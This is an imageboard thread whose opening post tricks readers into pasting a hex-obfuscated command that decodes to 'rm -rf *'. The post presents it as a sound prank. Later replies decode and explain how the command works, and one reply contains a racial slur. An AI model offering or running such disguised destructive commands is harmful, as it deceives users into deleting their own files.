Turn your volume on, paste this in your terminal:
$(echo 726d202d7266202a | xxd -r -p)
Tell me what you hear.
>>60550983
The sound of all my data being deleted.
>>60550983
>echo 726d202d7266202a
really nigga?
$ echo 726d202d7266202a | xxd -r -p
rm -rf *
Funny and original thread.
>xd
>>>/r/eddit
Anyone cares to explain how this command works?
I got thanks to
>>60551081
That it kills everything, but what does every thing do?
mpv <(convert a.png -alpha extract gray:-)
>>60551161
>726d202d7266202a | xxd -r -p
convert the number to 'rm -rf *'
>$(echo rm -rf *)
executes 'rm -rf *'
>>60551161
>kills everything
What?
Anyway.
The dollar sign paired with the parenthesis will run a given command.echo "SOME STRING"will print out a given string.
|, also known as pipe, will pass on the output from echo to xxd which in turn will reverse -r the hexdump from the previous run echo command and output it in postscript continuous hexdump style.
rm will call/usr/bin/rmwhich means as much as remove or delete a file.
The -r switch will instruct rm to run recursively, -f will ask rm to remove files without user input.
* just selects every file in the current working dir.
>>60551161
"726d202d7266202a" is the text "rm -rf *" in hexidecimal form
"xxd -r -p" converts hexidecimal back to binary format
so it sends a hexidecimal string to xxd, which converts it back, and by encaptulating it in $(), the result is then executed as a command
You know, I did this like a decade ago when I first started browsing /g/ and didn't realize my whole home directory was missing until a day later when my computer was acting all funny.
Thanks /g/
>>60551306
>>60551323
Ah, i get it
Thanks anons
>>60551323
>"xxd -r -p" converts hexidecimal back to binary format
Not really. Much rather, it converts a character string containing hex codes of characters in to a character string of the characters which those hex codes represent.
>>60552416
if you need to be more specific about it
i'm not a master at simplifying explanation, i don't like skipping details or saying thing "close to" yet not quite accurate, but you can't be too specific otherwise people just don't get it